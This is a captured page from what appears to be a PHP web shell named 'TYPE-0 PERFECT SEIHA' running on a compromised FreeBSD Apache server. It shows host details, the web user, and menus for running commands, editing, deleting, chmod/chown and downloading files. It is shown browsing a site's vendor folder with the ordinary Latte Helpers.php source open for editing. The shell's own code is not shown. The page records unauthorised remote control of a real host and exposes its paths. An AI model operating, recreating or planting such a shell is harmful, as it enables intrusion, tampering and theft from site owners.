TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
latte
latte
src
Latte
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/latte/latte/src/Latte/Helpers.php
<?php /** * This file is part of the Latte (http://latte.nette.org) * Copyright (c) 2008 David Grudl (http://davidgrudl.com) */ namespace Latte; /** * Latte helpers. * @internal */ class Helpers { /** @var array empty (void) HTML elements */ public static $emptyElements = array( 'img' => 1,'hr' => 1,'br' => 1,'input' => 1,'meta' => 1,'area' => 1,'embed' => 1,'keygen' => 1,'source' => 1,'base' => 1, 'col' => 1,'link' => 1,'param' => 1,'basefont' => 1,'frame' => 1,'isindex' => 1,'wbr' => 1,'command' => 1,'track' => 1, ); /** * Checks callback. * @return callable */ public static function checkCallback($callable) { if (!is_callable($callable, FALSE, $text)) { throw new \InvalidArgumentException("Callback '$text' is not callable."); } return $callable; } /** * Removes unnecessary blocks of PHP code. * @param string * @return string */ public static function optimizePhp($source, $lineLength = 80) { $res = $php = ''; $lastChar = ';'; $tokens = new \ArrayIterator(token_get_all($source)); foreach ($tokens as $n => $token) { if (is_array($token)) { if ($token[0] === T_INLINE_HTML) { $lastChar = ''; $res .= $token[1]; } elseif ($token[0] === T_CLOSE_TAG) { $next = isset($tokens[$n + 1]) ? $tokens[$n + 1] : NULL; if (substr($res, -1) !== '<' && preg_match('#^<\?php\s*\z#', $php)) { $php = ''; // removes empty (?php ?), but retains ((?php ?)?php } elseif (is_array($next) && $next[0] === T_OPEN_TAG && (!isset($tokens[$n + 2][1]) || $tokens[$n + 2][1] !== 'xml')) { // remove ?)(?php if (!strspn($lastChar, ';{}:/')) { $php .= $lastChar = ';'; } if (substr($next[1], -1) === "\n") { $php .= "\n"; } $tokens->next(); } elseif ($next) { $res .= preg_replace('#;?(\s)*\z#', '$1', $php) . $token[1]; // remove last semicolon before ?) if (strlen($res) - strrpos($res, "\n") > $lineLength && (!is_array($next) || strpos($next[1], "\n") === FALSE) ) { $res .= "\n"; } $php = ''; } else { // remove last ?) if (!strspn($lastChar, '};')) { $php .= ';'; } } } elseif ($token[0] === T_ELSE || $token[0] === T_ELSEIF) { if ($tokens[$n + 1] === ':' && $lastChar === '}') { $php .= ';'; // semicolon needed in if(): ... if() ... else: } $lastChar = ''; $php .= $token[1]; } elseif ($token[0] === T_OPEN_TAG && $token[1] === '<?' && isset($tokens[$n + 1][1]) && $tokens[$n + 1][1] === 'xml') { $lastChar = ''; $res .= '<<?php ?>?'; for ($tokens->next(); $tokens->valid(); $tokens->next()) { $token = $tokens->current(); $res .= is_array($token) ? $token[1] : $token; if ($token[0] === T_CLOSE_TAG) { break; } } } else { if (!in_array($token[0], array(T_WHITESPACE, T_COMMENT, T_DOC_COMMENT, T_OPEN_TAG), TRUE)) { $lastChar = ''; } $php .= $token[1]; } } else { $php .= $lastChar = $token; } } return $res . $php; } }
Crotin
Name
Size
Permissions
Modified
User/Group
MacroNode.php
1657
0644
2015-09-30 18:29:09
Unknown/Unknown
Tokenizer.php
1869
0644
2015-09-30 18:29:09
Unknown/Unknown
Token.php
1243
0644
2015-09-30 18:29:09
Unknown/Unknown
IMacro.php
591
0644
2015-09-30 18:29:08
Unknown/Unknown
Helpers.php
3075
0644
2015-09-30 18:29:08
Unknown/Unknown
Engine.php
8325
0644
2015-09-30 18:29:08
Unknown/Unknown
Parser.php
11824
0644
2015-09-30 18:29:09
Unknown/Unknown
Template.php
3094
0644
2015-09-30 18:29:09
Unknown/Unknown
Object.php
1277
0644
2015-09-30 18:29:08
Unknown/Unknown
TokenIterator.php
4764
0644
2015-09-30 18:29:08
Unknown/Unknown
PhpWriter.php
10495
0644
2015-09-30 18:29:09
Unknown/Unknown
ILoader.php
519
0644
2015-09-30 18:29:08
Unknown/Unknown
Macros
-
0755
2015-09-30 18:29:30
Unknown/Unknown
Compiler.php
16527
0644
2015-09-30 18:29:09
Unknown/Unknown
HtmlNode.php
677
0644
2015-09-30 18:29:08
Unknown/Unknown
MacroTokens.php
3134
0644
2015-09-30 18:29:09
Unknown/Unknown
Loaders
-
0755
2015-09-30 18:29:30
Unknown/Unknown
exceptions.php
1554
0644
2015-09-30 18:29:08
Unknown/Unknown
Runtime
-
0755
2015-09-30 18:29:29
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin